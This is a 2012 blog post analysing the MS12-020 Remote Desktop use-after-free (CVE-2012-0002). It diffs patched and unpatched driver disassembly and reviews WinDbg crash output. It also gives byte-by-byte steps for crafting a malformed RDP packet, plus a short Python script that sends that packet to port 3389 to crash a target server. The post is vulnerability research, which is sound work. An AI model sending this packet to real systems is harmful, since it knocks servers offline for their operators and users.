Monday 19 March 2012

MS12-020 Vulnerability for Breakfast

A few days ago Microsoft has released an important update that fixes vulnerabilities in the Remote Desktop Protocol.

The update affects a number of the system files such as Rdpcore.dll and RdpWD.sys. Comparison of the files in the disassembled form before and after update reveals the code changes.

Let's have a look at the code changes that took place in the driver file RdpWD.sys. But first, what's the role of this file in the Remote Desktop Protocol?

When an RDP client connects to the server component of Remote Desktop Services on TCP port 3389, the login and GDI graphics subsystem are initiated in a newly created session. Within that session, the GDI graphics subsystem relies on RDP-specific driver RdpWD.sys - the keyboard and mouse driver that transfers keyboard/mouse events over TCP connection. The driver also creates virtual channels that set up redirection of other hardware devices (disc, audio, printers) - this allows transferring the requested data over the TCP connection.

The code modification took place in the function HandleAttachUserReq(). Here is the snippet of the original driver's source code (v6.1.7600.16385 found on 32-bit Windows 7):

.text:0002F900 lea eax, [ebp+P]
.text:0002F903 push eax
.text:0002F904 push [ebp+P]
.text:0002F907 add esi, 74h
.text:0002F90A push esi
.text:0002F90B call SListRemove
.text:0002F910 quit:
.text:0002F910 mov al, 1

Here is the source of the updated driver (v6.1.7600.16963):

.text:0002F913 lea eax, [ebp+P]
.text:0002F916 push eax
.text:0002F917 push [ebp+P]
.text:0002F91A add esi, 74h
.text:0002F91D push esi
.text:0002F91E call SListRemove
.text:0002F91E ; <-- ADDED BLOCK
.text:0002F923 mov eax, [ebp+P] ; restore pointer in EAX
.text:0002F926 cmp eax, ebx ; compare it to NULL
.text:0002F928 jz short quit ; if NULL, quit
.text:0002F92A cmp [eax+5], bl
.text:0002F92D jnz short quit
.text:0002F92F push eax ; release the pool
.text:0002F930 call WDLIBRT_MemFree
.text:0002F935 quit:
.text:0002F935 mov al, 1

As seen in the update, the original code "forgets" to call WDLIBRT_MemFree() function, which is merely a wrapper around ExFreePoolWithTag() - a function that deallocates a block of pool memory:

.text:00013BA0 WDLIBRT_MemFree proc near ; wrapper for ExFreePoolWithTag()
.text:00013BA0
.text:00013BA0 P = dword ptr 8
.text:00013BA0
.text:00013BA0 mov edi, edi
.text:00013BA2 push ebp
.text:00013BA3 mov ebp, esp
.text:00013BA5 push 0 ; Tag is NULL
.text:00013BA7 push [ebp+P] ; P - pool pointer, passed as an argument
.text:00013BAA call ds:ExFreePoolWithTag
.text:00013BB0 pop ebp
.text:00013BB1 retn 4
.text:00013BB1 WDLIBRT_MemFree endp

But how dangerous is the fact that the original code missed the pool memory release? More importantly, if it's admitted to be a bug (hence, the update), can that bug be exploited?

As it happens, it can. The reported vulnerability (CVE-2012-0002) is attributed by Microsoft to Luigi Auriemma.

Luigi has published an example of a packet that crashes a vulnerable server that runs Remote Desktop Services on TCP port 3389.

To see how a typical packet looks like, take a look at the following example from Microsoft:



Armed with the annotated field descriptions in the packet dump, let's modify this packet the following way:

1. One of the first inconsistencies to fix is to patch a byte at the offset 0x158 with 0.

Indeed, the description states that this field contains 0x00000000 that corresponds to TS_UD_CS_CORE::serverSelectedProtocol.

2. Next, prepend the following bytes to the packet:

03000013 0E E0 0000 0000 00 01 00 0800 00000000

These bytes will encode an RDP connection request:

  • TPKT Header (length = 19 bytes):
    03 -> TPKT: TPKT version = 3
    00 -> TPKT: Reserved = 0
    00 -> TPKT: Packet length - high part
    13 -> TPKT: Packet length - low part (total = 19 bytes)


  • X.224 Data TPDU:
    0E -> X.224: Length indicator = (14 bytes)
    E0 -> X.224: Type = 0xE0 = Connection Confirm
    00 00 -> X.224: Destination reference = 0
    00 00 -> X.224: Source reference = 0
    00 -> X.224: Class and options = 0
    01 -> RDP Negotiation Message (TYPE_RDP_NEG_REQ)
    00 -> flags (0)
    08 00 -> RDP_NEG_REQ length (8 bytes)
    00 00 00 00 -> RDP_NEG_REQ: Selected protocols (PROTOCOL_RDP)


3. Next, attach user request PDU:

03000008 02f08028

03 00 00 08 -> TPKT Header (length = 8 bytes)
02 f0 80 -> X.224 Data TPDU (2 bytes: 0xf0 = Data TPDU, 0x80 = EOT, end of transmission)
28 -> PER encoded PDU contents (select attachUserRequest)

4. Find the Connect-Initial::targetParameters header in the packet: 30 19
30 -> ASN.1 BER encoded SequenceOf type.
19 -> length of the sequence data (25 bytes)

The header is followed with DomainParameters::maxChannelIds field: 02 01 22
02 -> ASN.1 BER encoded Integer type
01 -> length of the integer (1 byte)
22 -> actual value is 34 (0x22)

Replace the old value of maxChannelIds (0x22) with 0 - this byte is located at the packet offset of 0x2C.

The final packet dump will look as shown below (selections in yellow reflect the aforementioned changes 1-4):



All these modifications of the packet are perfectly legitimate, excepting one: setting maxChannelIds value of the targetParameters to 0. That's probably the only "evil" byte in the whole packet. Can there be a signature reliably constructed to catch such packet (a rhetorical question)?

Given the flexibility of BER format (you can BER-encode 0 as 02 01 00, or 02 02 0000, or 02 04 00000000 - that is, using 1, 2, or 4 bytes), is there a reasonably small number of combinations that can potentially assemble a malformed packet with the "evil" byte in it, a number so small that it can be covered with the signatures (another rhetorical question)?

Saving the packet dump into packet.bin and running the Python script below will cause BSoD for the target server at %TARGET_IP_ADDRESS%:

import socket
f = open('packet.bin', 'r')
packet = f.read()
f.close
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("%TARGET_IP_ADDRESS%", 3389))
s.send(packet)
data = s.recv(4096)



The crush dump can then be loaded into WinDbg debugger to locate the place of the exception. As seen in the crush dump, the error happens in the following instruction that belongs to the function termdd!IcaBufferAllocEx:

8d02c987        mov   eax,dword ptr [esi+18h]

The instruction at the address 0x8d02c987 attempts to read a pointer (the next instruction references a DWORD pointed by it, and compares its value with 0) from the address 0x0a400620:

termdd!IcaBufferAllocEx:
8d02c96c mov edi,edi
8d02c96e push ebp
8d02c96f mov ebp,esp
8d02c971 push ecx
8d02c972 cmp dword ptr [ebp+14h],19h
8d02c976 push esi
8d02c977 push edi
8d02c978 mov edi,dword ptr [ebp+8]
8d02c97b sete al
8d02c97e mov byte ptr [ebp-4],al
8d02c981 lea eax,[edi-14h]
8d02c984 push eax
8d02c985 jmp termdd!IcaBufferAllocEx+0x24
8d02c987 mov eax,dword ptr [esi+18h] ds:0023:0a400620=???????? ; <- ERROR !!!
8d02c98a cmp dword ptr [eax],0
8d02c98d jne termdd!IcaBufferAllocEx+0x4a
8d02c98f push esi
8d02c990 call termdd!IcaGetPreviousSdLink
8d02c995 mov esi,eax
8d02c997 test esi,esi
8d02c999 jne termdd!IcaBufferAllocEx+0x1b
8d02c99b push dword ptr [ebp+1Ch]
8d02c99e push dword ptr [ebp+18h]
8d02c9a1 push dword ptr [ebp+14h]
8d02c9a4 push dword ptr [ebp+10h]
8d02c9a7 push dword ptr [ebp+0Ch]
8d02c9aa push edi
8d02c9ab call termdd!IcaBufferAllocInternal
8d02c9b0 pop edi
8d02c9b1 pop esi
8d02c9b2 leave
8d02c9b3 ret 18h

The call stack reveals that the IcaBufferAllocEx() function within termdd.sys is called from RdpWD.sys driver and can be traced back to its NM_Disconnect() call:

termdd!IcaBufferAllocEx+0x1b
RDPWD!WDICART_IcaBufferAllocEx+0x24
RDPWD!StackBufferAllocEx+0x5c
RDPWD!MCSDetachUserRequest+0x29
RDPWD!NMDetachUserReq+0x14
RDPWD!NM_Disconnect+0x16
RDPWD!SM_Disconnect+0x27
RDPWD!SM_OnConnected+0x70
RDPWD!NMAbortConnect+0x23
RDPWD!NM_Connect+0x68
RDPWD!SM_Connect+0x11d
RDPWD!WDWConnect+0x557
RDPWD!WDLIB_TShareConfConnect+0xa0
RDPWD!WDSYS_Ioctl+0x6c9
termdd!_IcaCallSd+0x37
termdd!_IcaCallStack+0x57
termdd!IcaDeviceControlStack+0x466
termdd!IcaDeviceControl+0x59
termdd!IcaDispatch+0x13f
nt!IofCallDriver+0x63
nt!IopSynchronousServiceTail+0x1f8
nt!IopXxxControlFile+0x6aa
nt!NtDeviceIoControlFile+0x2a
nt!KiFastCallEntry+0x12a

As first reported by Luigi Auriemma, the use-after-free vulnerability is located in the handling of the maxChannelIds field of the T.125 ConnectMCSPDU packet when set to a value less or equal to 5. That field was patched in the example above with 0.

According to Luigi, the problem happens during the disconnection of the user started with RDPWD!NM_Disconnect while the effect of the possible code execution is visible in termdd!IcaBufferAlloc.

The exploit is currently at the DoS (denial-of-service) stage of its evolution. This is bad enough, considering how many web sites are managed remotely via RDP and thus, could potentially be knocked down with a single packet of 443 bytes submitted by an attacker.

Unless someone has a crystal ball, it's hard to predict if this bug will ever evolve into a much more thrilling "remote code execution" stage - only time will tell that.

0 Comments:

Post a Comment

Subscribe to Post Comments [Atom]

<< Home